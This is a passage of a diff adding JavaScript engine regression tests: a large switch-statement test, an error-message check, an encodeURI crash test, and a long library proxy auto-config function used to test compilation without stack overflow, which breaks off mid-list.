+ case 2821: if (n[2821]++ > 0) check ('a string 2821'); break;
+ case 2822: if (n[2822]++ > 0) check ('a string 2822'); break;
+ case 2823: if (n[2823]++ > 0) check ('a string 2823'); break;
+ case 2824: if (n[2824]++ > 0) check ('a string 2824'); break;
+ case 2825: if (n[2825]++ > 0) check ('a string 2825'); break;
+ case 2826: if (n[2826]++ > 0) check ('a string 2826'); break;
+ case 2827: if (n[2827]++ > 0) check ('a string 2827'); break;
+ case 2828: if (n[2828]++ > 0) check ('a string 2828'); break;
+ case 2829: if (n[2829]++ > 0) check ('a string 2829'); break;
+ case 2830: if (n[2830]++ > 0) check ('a string 2830'); break;
+ case 2831: if (n[2831]++ > 0) check ('a string 2831'); break;
+ case 2832: if (n[2832]++ > 0) check ('a string 2832'); break;
+ case 2833: if (n[2833]++ > 0) check ('a string 2833'); break;
+ case 2834: if (n[2834]++ > 0) check ('a string 2834'); break;
+ case 2835: if (n[2835]++ > 0) check ('a string 2835'); break;
+ case 2836: if (n[2836]++ > 0) check ('a string 2836'); break;
+ case 2837: if (n[2837]++ > 0) check ('a string 2837'); break;
+ case 2838: if (n[2838]++ > 0) check ('a string 2838'); break;
+ case 2839: if (n[2839]++ > 0) check ('a string 2839'); break;
+ case 2840: if (n[2840]++ > 0) check ('a string 2840'); break;
+ case 2841: if (n[2841]++ > 0) check ('a string 2841'); break;
+ case 2842: if (n[2842]++ > 0) check ('a string 2842'); break;
+ case 2843: if (n[2843]++ > 0) check ('a string 2843'); break;
+ case 2844: if (n[2844]++ > 0) check ('a string 2844'); break;
+ case 2845: if (n[2845]++ > 0) check ('a string 2845'); break;
+ case 2846: if (n[2846]++ > 0) check ('a string 2846'); break;
+ case 2847: if (n[2847]++ > 0) check ('a string 2847'); break;
+ case 2848: if (n[2848]++ > 0) check ('a string 2848'); break;
+ case 2849: if (n[2849]++ > 0) check ('a string 2849'); break;
+ case 2850: if (n[2850]++ > 0) check ('a string 2850'); break;
+ case 2851: if (n[2851]++ > 0) check ('a string 2851'); break;
+ case 2852: if (n[2852]++ > 0) check ('a string 2852'); break;
+ case 2853: if (n[2853]++ > 0) check ('a string 2853'); break;
+ case 2854: if (n[2854]++ > 0) check ('a string 2854'); break;
+ case 2855: if (n[2855]++ > 0) check ('a string 2855'); break;
+ case 2856: if (n[2856]++ > 0) check ('a string 2856'); break;
+ case 2857: if (n[2857]++ > 0) check ('a string 2857'); break;
+ case 2858: if (n[2858]++ > 0) check ('a string 2858'); break;
+ case 2859: if (n[2859]++ > 0) check ('a string 2859'); break;
+ case 2860: if (n[2860]++ > 0) check ('a string 2860'); break;
+ case 2861: if (n[2861]++ > 0) check ('a string 2861'); break;
+ case 2862: if (n[2862]++ > 0) check ('a string 2862'); break;
+ case 2863: if (n[2863]++ > 0) check ('a string 2863'); break;
+ case 2864: if (n[2864]++ > 0) check ('a string 2864'); break;
+ case 2865: if (n[2865]++ > 0) check ('a string 2865'); break;
+ case 2866: if (n[2866]++ > 0) check ('a string 2866'); break;
+ case 2867: if (n[2867]++ > 0) check ('a string 2867'); break;
+ case 2868: if (n[2868]++ > 0) check ('a string 2868'); break;
+ case 2869: if (n[2869]++ > 0) check ('a string 2869'); break;
+ case 2870: if (n[2870]++ > 0) check ('a string 2870'); break;
+ case 2871: if (n[2871]++ > 0) check ('a string 2871'); break;
+ case 2872: if (n[2872]++ > 0) check ('a string 2872'); break;
+ case 2873: if (n[2873]++ > 0) check ('a string 2873'); break;
+ case 2874: if (n[2874]++ > 0) check ('a string 2874'); break;
+ case 2875: if (n[2875]++ > 0) check ('a string 2875'); break;
+ case 2876: if (n[2876]++ > 0) check ('a string 2876'); break;
+ case 2877: if (n[2877]++ > 0) check ('a string 2877'); break;
+ case 2878: if (n[2878]++ > 0) check ('a string 2878'); break;
+ case 2879: if (n[2879]++ > 0) check ('a string 2879'); break;
+ case 2880: if (n[2880]++ > 0) check ('a string 2880'); break;
+ case 2881: if (n[2881]++ > 0) check ('a string 2881'); break;
+ case 2882: if (n[2882]++ > 0) check ('a string 2882'); break;
+ case 2883: if (n[2883]++ > 0) check ('a string 2883'); break;
+ case 2884: if (n[2884]++ > 0) check ('a string 2884'); break;
+ case 2885: if (n[2885]++ > 0) check ('a string 2885'); break;
+ case 2886: if (n[2886]++ > 0) check ('a string 2886'); break;
+ case 2887: if (n[2887]++ > 0) check ('a string 2887'); break;
+ case 2888: if (n[2888]++ > 0) check ('a string 2888'); break;
+ case 2889: if (n[2889]++ > 0) check ('a string 2889'); break;
+ case 2890: if (n[2890]++ > 0) check ('a string 2890'); break;
+ case 2891: if (n[2891]++ > 0) check ('a string 2891'); break;
+ case 2892: if (n[2892]++ > 0) check ('a string 2892'); break;
+ case 2893: if (n[2893]++ > 0) check ('a string 2893'); break;
+ case 2894: if (n[2894]++ > 0) check ('a string 2894'); break;
+ case 2895: if (n[2895]++ > 0) check ('a string 2895'); break;
+ case 2896: if (n[2896]++ > 0) check ('a string 2896'); break;
+ case 2897: if (n[2897]++ > 0) check ('a string 2897'); break;
+ case 2898: if (n[2898]++ > 0) check ('a string 2898'); break;
+ case 2899: if (n[2899]++ > 0) check ('a string 2899'); break;
+ case 2900: if (n[2900]++ > 0) check ('a string 2900'); break;
+ case 2901: if (n[2901]++ > 0) check ('a string 2901'); break;
+ case 2902: if (n[2902]++ > 0) check ('a string 2902'); break;
+ case 2903: if (n[2903]++ > 0) check ('a string 2903'); break;
+ case 2904: if (n[2904]++ > 0) check ('a string 2904'); break;
+ case 2905: if (n[2905]++ > 0) check ('a string 2905'); break;
+ case 2906: if (n[2906]++ > 0) check ('a string 2906'); break;
+ case 2907: if (n[2907]++ > 0) check ('a string 2907'); break;
+ case 2908: if (n[2908]++ > 0) check ('a string 2908'); break;
+ case 2909: if (n[2909]++ > 0) check ('a string 2909'); break;
+ case 2910: if (n[2910]++ > 0) check ('a string 2910'); break;
+ case 2911: if (n[2911]++ > 0) check ('a string 2911'); break;
+ case 2912: if (n[2912]++ > 0) check ('a string 2912'); break;
+ case 2913: if (n[2913]++ > 0) check ('a string 2913'); break;
+ case 2914: if (n[2914]++ > 0) check ('a string 2914'); break;
+ case 2915: if (n[2915]++ > 0) check ('a string 2915'); break;
+ case 2916: if (n[2916]++ > 0) check ('a string 2916'); break;
+ case 2917: if (n[2917]++ > 0) check ('a string 2917'); break;
+ case 2918: if (n[2918]++ > 0) check ('a string 2918'); break;
+ case 2919: if (n[2919]++ > 0) check ('a string 2919'); break;
+ case 2920: if (n[2920]++ > 0) check ('a string 2920'); break;
+ case 2921: if (n[2921]++ > 0) check ('a string 2921'); break;
+ case 2922: if (n[2922]++ > 0) check ('a string 2922'); break;
+ case 2923: if (n[2923]++ > 0) check ('a string 2923'); break;
+ case 2924: if (n[2924]++ > 0) check ('a string 2924'); break;
+ case 2925: if (n[2925]++ > 0) check ('a string 2925'); break;
+ case 2926: if (n[2926]++ > 0) check ('a string 2926'); break;
+ case 2927: if (n[2927]++ > 0) check ('a string 2927'); break;
+ case 2928: if (n[2928]++ > 0) check ('a string 2928'); break;
+ case 2929: if (n[2929]++ > 0) check ('a string 2929'); break;
+ case 2930: if (n[2930]++ > 0) check ('a string 2930'); break;
+ case 2931: if (n[2931]++ > 0) check ('a string 2931'); break;
+ case 2932: if (n[2932]++ > 0) check ('a string 2932'); break;
+ case 2933: if (n[2933]++ > 0) check ('a string 2933'); break;
+ case 2934: if (n[2934]++ > 0) check ('a string 2934'); break;
+ case 2935: if (n[2935]++ > 0) check ('a string 2935'); break;
+ case 2936: if (n[2936]++ > 0) check ('a string 2936'); break;
+ case 2937: if (n[2937]++ > 0) check ('a string 2937'); break;
+ case 2938: if (n[2938]++ > 0) check ('a string 2938'); break;
+ case 2939: if (n[2939]++ > 0) check ('a string 2939'); break;
+ case 2940: if (n[2940]++ > 0) check ('a string 2940'); break;
+ case 2941: if (n[2941]++ > 0) check ('a string 2941'); break;
+ case 2942: if (n[2942]++ > 0) check ('a string 2942'); break;
+ case 2943: if (n[2943]++ > 0) check ('a string 2943'); break;
+ case 2944: if (n[2944]++ > 0) check ('a string 2944'); break;
+ case 2945: if (n[2945]++ > 0) check ('a string 2945'); break;
+ case 2946: if (n[2946]++ > 0) check ('a string 2946'); break;
+ case 2947: if (n[2947]++ > 0) check ('a string 2947'); break;
+ case 2948: if (n[2948]++ > 0) check ('a string 2948'); break;
+ case 2949: if (n[2949]++ > 0) check ('a string 2949'); break;
+ case 2950: if (n[2950]++ > 0) check ('a string 2950'); break;
+ case 2951: if (n[2951]++ > 0) check ('a string 2951'); break;
+ case 2952: if (n[2952]++ > 0) check ('a string 2952'); break;
+ case 2953: if (n[2953]++ > 0) check ('a string 2953'); break;
+ case 2954: if (n[2954]++ > 0) check ('a string 2954'); break;
+ case 2955: if (n[2955]++ > 0) check ('a string 2955'); break;
+ case 2956: if (n[2956]++ > 0) check ('a string 2956'); break;
+ case 2957: if (n[2957]++ > 0) check ('a string 2957'); break;
+ case 2958: if (n[2958]++ > 0) check ('a string 2958'); break;
+ case 2959: if (n[2959]++ > 0) check ('a string 2959'); break;
+ case 2960: if (n[2960]++ > 0) check ('a string 2960'); break;
+ case 2961: if (n[2961]++ > 0) check ('a string 2961'); break;
+ case 2962: if (n[2962]++ > 0) check ('a string 2962'); break;
+ case 2963: if (n[2963]++ > 0) check ('a string 2963'); break;
+ case 2964: if (n[2964]++ > 0) check ('a string 2964'); break;
+ case 2965: if (n[2965]++ > 0) check ('a string 2965'); break;
+ case 2966: if (n[2966]++ > 0) check ('a string 2966'); break;
+ case 2967: if (n[2967]++ > 0) check ('a string 2967'); break;
+ case 2968: if (n[2968]++ > 0) check ('a string 2968'); break;
+ case 2969: if (n[2969]++ > 0) check ('a string 2969'); break;
+ case 2970: if (n[2970]++ > 0) check ('a string 2970'); break;
+ case 2971: if (n[2971]++ > 0) check ('a string 2971'); break;
+ case 2972: if (n[2972]++ > 0) check ('a string 2972'); break;
+ case 2973: if (n[2973]++ > 0) check ('a string 2973'); break;
+ case 2974: if (n[2974]++ > 0) check ('a string 2974'); break;
+ case 2975: if (n[2975]++ > 0) check ('a string 2975'); break;
+ case 2976: if (n[2976]++ > 0) check ('a string 2976'); break;
+ case 2977: if (n[2977]++ > 0) check ('a string 2977'); break;
+ case 2978: if (n[2978]++ > 0) check ('a string 2978'); break;
+ case 2979: if (n[2979]++ > 0) check ('a string 2979'); break;
+ case 2980: if (n[2980]++ > 0) check ('a string 2980'); break;
+ case 2981: if (n[2981]++ > 0) check ('a string 2981'); break;
+ case 2982: if (n[2982]++ > 0) check ('a string 2982'); break;
+ case 2983: if (n[2983]++ > 0) check ('a string 2983'); break;
+ case 2984: if (n[2984]++ > 0) check ('a string 2984'); break;
+ case 2985: if (n[2985]++ > 0) check ('a string 2985'); break;
+ case 2986: if (n[2986]++ > 0) check ('a string 2986'); break;
+ case 2987: if (n[2987]++ > 0) check ('a string 2987'); break;
+ case 2988: if (n[2988]++ > 0) check ('a string 2988'); break;
+ case 2989: if (n[2989]++ > 0) check ('a string 2989'); break;
+ case 2990: if (n[2990]++ > 0) check ('a string 2990'); break;
+ case 2991: if (n[2991]++ > 0) check ('a string 2991'); break;
+ case 2992: if (n[2992]++ > 0) check ('a string 2992'); break;
+ case 2993: if (n[2993]++ > 0) check ('a string 2993'); break;
+ case 2994: if (n[2994]++ > 0) check ('a string 2994'); break;
+ case 2995: if (n[2995]++ > 0) check ('a string 2995'); break;
+ case 2996: if (n[2996]++ > 0) check ('a string 2996'); break;
+ case 2997: if (n[2997]++ > 0) check ('a string 2997'); break;
+ case 2998: if (n[2998]++ > 0) check ('a string 2998'); break;
+ case 2999: if (n[2999]++ > 0) check ('a string 2999'); break;
+ case 3000: if (n[3000]++ > 0) check ('a string 3000'); break;
+ case 3001: if (n[3001]++ > 0) check ('a string 3001'); break;
+ case 3002: if (n[3002]++ > 0) check ('a string 3002'); break;
+ case 3003: if (n[3003]++ > 0) check ('a string 3003'); break;
+ case 3004: if (n[3004]++ > 0) check ('a string 3004'); break;
+ case 3005: if (n[3005]++ > 0) check ('a string 3005'); break;
+ case 3006: if (n[3006]++ > 0) check ('a string 3006'); break;
+ case 3007: if (n[3007]++ > 0) check ('a string 3007'); break;
+ case 3008: if (n[3008]++ > 0) check ('a string 3008'); break;
+ case 3009: if (n[3009]++ > 0) check ('a string 3009'); break;
+ default : if (n[3010]++ > 0) check ('a string 3010'); break;
+ }
+ }
+
+ b4();
+ b_after();
+}
+
+
+function check(status)
+{
+ print('k = ' + k + ' j = ' + j + ' ' + status);
+
+ for (i = 0; i < i2; i++)
+ {
+ if (n[i] != 1)
+ {
+ print('n[' + i + '] = ' + n[i]);
+ if (i != j)
+ {
+ print('Test failed');
+ err_num++;
+ break;
+ }
+ }
+ }
+}
+
+
+function b4()
+{
+ print('Visited b4');
+}
+
+
+function b_after()
+{
+ print('Visited b_after');
+}
+
+reportCompare('No Error', 'No Error', '');
diff --git a/js/src/tests/non262/regress/regress-810525.js b/js/src/tests/non262/regress/regress-810525.js
new file mode 100644
index 0000000000..520ca413e8
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-810525.js
@@ -0,0 +1,25 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var expect = '';
+var actual = '';
+
+function test(s) {
+ var threw = false;
+ try {
+ eval(s);
+ } catch (e) {
+ assertEq(e.message.indexOf('(intermediate value)'), -1);
+ threw = true;
+ } finally {
+ assertEq(threw, true);
+ }
+}
+
+test("({p:1, q:2}).m()");
+test("[].m()");
+test("[1,2,3].m()");
+test("/hi/.m()");
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-82306.js b/js/src/tests/non262/regress/regress-82306.js
new file mode 100644
index 0000000000..e7c6206dc0
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-82306.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 23 May 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 82306
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=82306
+ *
+ * This test used to crash the JS engine. This was discovered
+ * by Mike Epstein <epstein@tellme.com>
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 82306;
+var summary = "Testing we don't crash on encodeURI()";
+var URI = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ URI += '<?xml version="1.0"?>';
+ URI += '<zcti application="xxxx_demo">';
+ URI += '<pstn_data>';
+ URI += '<ani>650-930-xxxx</ani>';
+ URI += '<dnis>877-485-xxxx</dnis>';
+ URI += '</pstn_data>';
+ URI += '<keyvalue key="name" value="xxx"/>';
+ URI += '<keyvalue key="phone" value="6509309000"/>';
+ URI += '</zcti>';
+
+ // Just testing that we don't crash on this
+ encodeURI(URI);
+
+ reportCompare('No Crash', 'No Crash', '');
+}
diff --git a/js/src/tests/non262/regress/regress-89443.js b/js/src/tests/non262/regress/regress-89443.js
new file mode 100644
index 0000000000..6307355c0c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-89443.js
@@ -0,0 +1,2119 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 2001-07-12
+ *
+ * SUMMARY: Regression test for bug 89443
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=89443
+ *
+ * Just seeing if this script will compile without stack overflow.
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 89443;
+var summary = 'Testing this script will compile without stack overflow';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+// I don't know what these functions are supposed to be; use dummies -
+function isPlainHostName()
+{
+}
+
+function dnsDomainIs()
+{
+}
+
+// Here's the big function -
+function FindProxyForURL(url, host)
+{
+
+ if (isPlainHostName(host)
+ || dnsDomainIs(host, ".hennepin.lib.mn.us")
+ || dnsDomainIs(host, ".hclib.org")
+ )
+ return "DIRECT";
+ else if (isPlainHostName(host)
+
+// subscription database access
+
+ || dnsDomainIs(host, ".asahi.com")
+ || dnsDomainIs(host, ".2facts.com")
+ || dnsDomainIs(host, ".oclc.org")
+ || dnsDomainIs(host, ".collegesource.com")
+ || dnsDomainIs(host, ".cq.com")
+ || dnsDomainIs(host, ".grolier.com")
+ || dnsDomainIs(host, ".groveart.com")
+ || dnsDomainIs(host, ".groveopera.com")
+ || dnsDomainIs(host, ".fsonline.com")
+ || dnsDomainIs(host, ".carl.org")
+ || dnsDomainIs(host, ".newslibrary.com")
+ || dnsDomainIs(host, ".pioneerplanet.com")
+ || dnsDomainIs(host, ".startribune.com")
+ || dnsDomainIs(host, ".poemfinder.com")
+ || dnsDomainIs(host, ".umi.com")
+ || dnsDomainIs(host, ".referenceusa.com")
+ || dnsDomainIs(host, ".sirs.com")
+ || dnsDomainIs(host, ".krmediastream.com")
+ || dnsDomainIs(host, ".gale.com")
+ || dnsDomainIs(host, ".galenet.com")
+ || dnsDomainIs(host, ".galegroup.com")
+ || dnsDomainIs(host, ".facts.com")
+ || dnsDomainIs(host, ".eb.com")
+ || dnsDomainIs(host, ".worldbookonline.com")
+ || dnsDomainIs(host, ".galegroup.com")
+ || dnsDomainIs(host, ".accessscience.com")
+ || dnsDomainIs(host, ".booksinprint.com")
+ || dnsDomainIs(host, ".infolearning.com")
+ || dnsDomainIs(host, ".standardpoor.com")
+
+// image servers
+ || dnsDomainIs(host, ".akamaitech.net")
+ || dnsDomainIs(host, ".akamai.net")
+ || dnsDomainIs(host, ".yimg.com")
+ || dnsDomainIs(host, ".imgis.com")
+ || dnsDomainIs(host, ".ibsys.com")
+
+// KidsClick-linked kids search engines
+ || dnsDomainIs(host, ".edview.com")
+ || dnsDomainIs(host, ".searchopolis.com")
+ || dnsDomainIs(host, ".onekey.com")
+ || dnsDomainIs(host, ".askjeeves.com")
+
+// Non-subscription Reference Tools URLs from the RecWebSites DBData table
+ || dnsDomainIs(host, "www.cnn.com")
+ || dnsDomainIs(host, "www.emulateme.com")
+ || dnsDomainIs(host, "terraserver.microsoft.com")
+ || dnsDomainIs(host, "www.theodora.com")
+ || dnsDomainIs(host, "www.3datlas.com")
+ || dnsDomainIs(host, "www.infoplease.com")
+ || dnsDomainIs(host, "www.switchboard.com")
+ || dnsDomainIs(host, "www.bartleby.com")
+ || dnsDomainIs(host, "www.mn-politics.com")
+ || dnsDomainIs(host, "www.thesaurus.com")
+ || dnsDomainIs(host, "www.usnews.com")
+ || dnsDomainIs(host, "www.petersons.com")
+ || dnsDomainIs(host, "www.collegenet.com")
+ || dnsDomainIs(host, "www.m-w.com")
+ || dnsDomainIs(host, "clever.net")
+ || dnsDomainIs(host, "maps.expedia.com")
+ || dnsDomainIs(host, "www.CollegeEdge.com")
+ || dnsDomainIs(host, "www.homeworkcentral.com")
+ || dnsDomainIs(host, "www.studyweb.com")
+ || dnsDomainIs(host, "www.mnpro.com")
+
+// custom URLs for local and other access
+ || dnsDomainIs(host, ".dsdukes.com")
+ || dnsDomainIs(host, ".spsaints.com")
+ || dnsDomainIs(host, ".mnzoo.com")
+ || dnsDomainIs(host, ".realaudio.com")
+ || dnsDomainIs(host, ".co.hennepin.mn.us")
+ || dnsDomainIs(host, ".gov")
+ || dnsDomainIs(host, ".org")
+ || dnsDomainIs(host, ".edu")
+ || dnsDomainIs(host, ".fox29.com")
+ || dnsDomainIs(host, ".wcco.com")
+ || dnsDomainIs(host, ".kstp.com")
+ || dnsDomainIs(host, ".kmsp.com")
+ || dnsDomainIs(host, ".kare11.com")
+ || dnsDomainIs(host, ".macromedia.com")
+ || dnsDomainIs(host, ".shockwave.com")
+ || dnsDomainIs(host, ".wwf.com")
+ || dnsDomainIs(host, ".wwfsuperstars.com")
+ || dnsDomainIs(host, ".summerslam.com")
+ || dnsDomainIs(host, ".yahooligans.com")
+ || dnsDomainIs(host, ".mhoob.com")
+ || dnsDomainIs(host, "www.hmonginternet.com")
+ || dnsDomainIs(host, "www.hmongonline.com")
+ || dnsDomainIs(host, ".yahoo.com")
+ || dnsDomainIs(host, ".pokemon.com")
+ || dnsDomainIs(host, ".bet.com")
+ || dnsDomainIs(host, ".smallworld.com")
+ || dnsDomainIs(host, ".cartoonnetwork.com")
+ || dnsDomainIs(host, ".carmensandiego.com")
+ || dnsDomainIs(host, ".disney.com")
+ || dnsDomainIs(host, ".powerpuffgirls.com")
+ || dnsDomainIs(host, ".aol.com")
+
+// Smithsonian
+ || dnsDomainIs(host, "160.111.100.190")
+
+// Hotmail
+ || dnsDomainIs(host, ".passport.com")
+ || dnsDomainIs(host, ".hotmail.com")
+ || dnsDomainIs(host, "216.33.236.24")
+ || dnsDomainIs(host, "216.32.182.251")
+ || dnsDomainIs(host, ".hotmail.msn.com")
+
+// K12 schools
+ || dnsDomainIs(host, ".k12.al.us")
+ || dnsDomainIs(host, ".k12.ak.us")
+ || dnsDomainIs(host, ".k12.ar.us")
+ || dnsDomainIs(host, ".k12.az.us")
+ || dnsDomainIs(host, ".k12.ca.us")
+ || dnsDomainIs(host, ".k12.co.us")
+ || dnsDomainIs(host, ".k12.ct.us")
+ || dnsDomainIs(host, ".k12.dc.us")
+ || dnsDomainIs(host, ".k12.de.us")
+ || dnsDomainIs(host, ".k12.fl.us")
+ || dnsDomainIs(host, ".k12.ga.us")
+ || dnsDomainIs(host, ".k12.hi.us")
+ || dnsDomainIs(host, ".k12.id.us")
+ || dnsDomainIs(host, ".k12.il.us")
+ || dnsDomainIs(host, ".k12.in.us")
+ || dnsDomainIs(host, ".k12.ia.us")
+ || dnsDomainIs(host, ".k12.ks.us")
+ || dnsDomainIs(host, ".k12.ky.us")
+ || dnsDomainIs(host, ".k12.la.us")
+ || dnsDomainIs(host, ".k12.me.us")
+ || dnsDomainIs(host, ".k12.md.us")
+ || dnsDomainIs(host, ".k12.ma.us")
+ || dnsDomainIs(host, ".k12.mi.us")
+ || dnsDomainIs(host, ".k12.mn.us")
+ || dnsDomainIs(host, ".k12.ms.us")
+ || dnsDomainIs(host, ".k12.mo.us")
+ || dnsDomainIs(host, ".k12.mt.us")
+ || dnsDomainIs(host, ".k12.ne.us")
+ || dnsDomainIs(host, ".k12.nv.us")
+ || dnsDomainIs(host, ".k12.nh.us")
+ || dnsDomainIs(host, ".k12.nj.us")
+ || dnsDomainIs(host, ".k12.nm.us")
+ || dnsDomainIs(host, ".k12.ny.us")
+ || dnsDomainIs(host, ".k12.nc.us")
+ || dnsDomainIs(host, ".k12.nd.us")
+ || dnsDomainIs(host, ".k12.oh.us")
+ || dnsDomainIs(host, ".k12.ok.us")
+ || dnsDomainIs(host, ".k12.or.us")
+ || dnsDomainIs(host, ".k12.pa.us")
+ || dnsDomainIs(host, ".k12.ri.us")
+ || dnsDomainIs(host, ".k12.sc.us")
+ || dnsDomainIs(host, ".k12.sd.us")
+ || dnsDomainIs(host, ".k12.tn.us")
+ || dnsDomainIs(host, ".k12.tx.us")
+ || dnsDomainIs(host, ".k12.ut.us")
+ || dnsDomainIs(host, ".k12.vt.us")
+ || dnsDomainIs(host, ".k12.va.us")
+ || dnsDomainIs(host, ".k12.wa.us")
+ || dnsDomainIs(host, ".k12.wv.us")
+ || dnsDomainIs(host, ".k12.wi.us")
+ || dnsDomainIs(host, ".k12.wy.us")
+
+// U.S. Libraries
+ || dnsDomainIs(host, ".lib.al.us")
+ || dnsDomainIs(host, ".lib.ak.us")
+ || dnsDomainIs(host, ".lib.ar.us")
+ || dnsDomainIs(host, ".lib.az.us")
+ || dnsDomainIs(host, ".lib.ca.us")
+ || dnsDomainIs(host, ".lib.co.us")
+ || dnsDomainIs(host, ".lib.ct.us")
+ || dnsDomainIs(host, ".lib.dc.us")
+ || dnsDomainIs(host, ".lib.de.us")
+ || dnsDomainIs(host, ".lib.fl.us")
+ || dnsDomainIs(host, ".lib.ga.us")
+ || dnsDomainIs(host, ".lib.hi.us")
+ || dnsDomainIs(host, ".lib.id.us")
+ || dnsDomainIs(host, ".lib.il.us")
+ || dnsDomainIs(host, ".lib.in.us")
+ || dnsDomainIs(host, ".lib.ia.us")
+ || dnsDomainIs(host, ".lib.ks.us")
+ || dnsDomainIs(host, ".lib.ky.us")
+ || dnsDomainIs(host, ".lib.la.us")
+ || dnsDomainIs(host, ".lib.me.us")
+ || dnsDomainIs(host, ".lib.md.us")
+ || dnsDomainIs(host, ".lib.ma.us")
+ || dnsDomainIs(host, ".lib.mi.us")
+ || dnsDomainIs(host, ".lib.mn.us")
+ || dnsDomainIs(host, ".lib.ms.us")
+ || dnsDomainIs(host, ".lib.mo.us")
+ || dnsDomainIs(host, ".lib.mt.us")
+ || dnsDomainIs(host, ".lib.ne.us")
+ || dnsDomainIs(host, ".lib.nv.us")
+ || dnsDomainIs(host, ".lib.nh.us")
+ || dnsDomainIs(host, ".lib.nj.us")
+ || dnsDomainIs(host, ".lib.nm.us")
+ || dnsDomainIs(host, ".lib.ny.us")
+ || dnsDomainIs(host, ".lib.nc.us")
+ || dnsDomainIs(host, ".lib.nd.us")
+ || dnsDomainIs(host, ".lib.oh.us")
+ || dnsDomainIs(host, ".lib.ok.us")
+ || dnsDomainIs(host, ".lib.or.us")
+ || dnsDomainIs(host, ".lib.pa.us")
+ || dnsDomainIs(host, ".lib.ri.us")
+ || dnsDomainIs(host, ".lib.sc.us")
+ || dnsDomainIs(host, ".lib.sd.us")
+ || dnsDomainIs(host, ".lib.tn.us")
+ || dnsDomainIs(host, ".lib.tx.us")
+ || dnsDomainIs(host, ".lib.ut.us")
+ || dnsDomainIs(host, ".lib.vt.us")
+ || dnsDomainIs(host, ".lib.va.us")
+ || dnsDomainIs(host, ".lib.wa.us")
+ || dnsDomainIs(host, ".lib.wv.us")
+ || dnsDomainIs(host, ".lib.wi.us")
+ || dnsDomainIs(host, ".lib.wy.us")
+
+// U.S. Cities
+ || dnsDomainIs(host, ".ci.al.us")
+ || dnsDomainIs(host, ".ci.ak.us")
+ || dnsDomainIs(host, ".ci.ar.us")
+ || dnsDomainIs(host, ".ci.az.us")
+ || dnsDomainIs(host, ".ci.ca.us")
+ || dnsDomainIs(host, ".ci.co.us")
+ || dnsDomainIs(host, ".ci.ct.us")
+ || dnsDomainIs(host, ".ci.dc.us")
+ || dnsDomainIs(host, ".ci.de.us")
+ || dnsDomainIs(host, ".ci.fl.us")
+ || dnsDomainIs(host, ".ci.ga.us")
+ || dnsDomainIs(host, ".ci.hi.us")
+ || dnsDomainIs(host, ".ci.id.us")
+ || dnsDomainIs(host, ".ci.il.us")
+ || dnsDomainIs(host, ".ci.in.us")
+ || dnsDomainIs(host, ".ci.ia.us")
+ || dnsDomainIs(host, ".ci.ks.us")
+ || dnsDomainIs(host, ".ci.ky.us")
+ || dnsDomainIs(host, ".ci.la.us")
+ || dnsDomainIs(host, ".ci.me.us")
+ || dnsDomainIs(host, ".ci.md.us")
+ || dnsDomainIs(host, ".ci.ma.us")
+ || dnsDomainIs(host, ".ci.mi.us")
+ || dnsDomainIs(host, ".ci.mn.us")
+ || dnsDomainIs(host, ".ci.ms.us")
+ || dnsDomainIs(host, ".ci.mo.us")
+ || dnsDomainIs(host, ".ci.mt.us")
+ || dnsDomainIs(host, ".ci.ne.us")
+ || dnsDomainIs(host, ".ci.nv.us")
+ || dnsDomainIs(host, ".ci.nh.us")
+ || dnsDomainIs(host, ".ci.nj.us")
+ || dnsDomainIs(host, ".ci.nm.us")
+ || dnsDomainIs(host, ".ci.ny.us")
+ || dnsDomainIs(host, ".ci.nc.us")
+ || dnsDomainIs(host, ".ci.nd.us")
+ || dnsDomainIs(host, ".ci.oh.us")
+ || dnsDomainIs(host, ".ci.ok.us")
+ || dnsDomainIs(host, ".ci.or.us")
+ || dnsDomainIs(host, ".ci.pa.us")
+ || dnsDomainIs(host, ".ci.ri.us")
+ || dnsDomainIs(host, ".ci.sc.us")
+ || dnsDomainIs(host, ".ci.sd.us")
+ || dnsDomainIs(host, ".ci.tn.us")
+ || dnsDomainIs(host, ".ci.tx.us")
+ || dnsDomainIs(host, ".ci.ut.us")
+ || dnsDomainIs(host, ".ci.vt.us")
+ || dnsDomainIs(host, ".ci.va.us")
+ || dnsDomainIs(host, ".ci.wa.us")
+ || dnsDomainIs(host, ".ci.wv.us")
+ || dnsDomainIs(host, ".ci.wi.us")
+ || dnsDomainIs(host, ".ci.wy.us")
+
+// U.S. Counties
+ || dnsDomainIs(host, ".co.al.us")
+ || dnsDomainIs(host, ".co.ak.us")
+ || dnsDomainIs(host, ".co.ar.us")
+ || dnsDomainIs(host, ".co.az.us")
+ || dnsDomainIs(host, ".co.ca.us")
+ || dnsDomainIs(host, ".co.co.us")
+ || dnsDomainIs(host, ".co.ct.us")
+ || dnsDomainIs(host, ".co.dc.us")
+ || dnsDomainIs(host, ".co.de.us")
+ || dnsDomainIs(host, ".co.fl.us")
+ || dnsDomainIs(host, ".co.ga.us")
+ || dnsDomainIs(host, ".co.hi.us")
+ || dnsDomainIs(host, ".co.id.us")
+ || dnsDomainIs(host, ".co.il.us")
+ || dnsDomainIs(host, ".co.in.us")
+ || dnsDomainIs(host, ".co.ia.us")
+ || dnsDomainIs(host, ".co.ks.us")
+ || dnsDomainIs(host, ".co.ky.us")
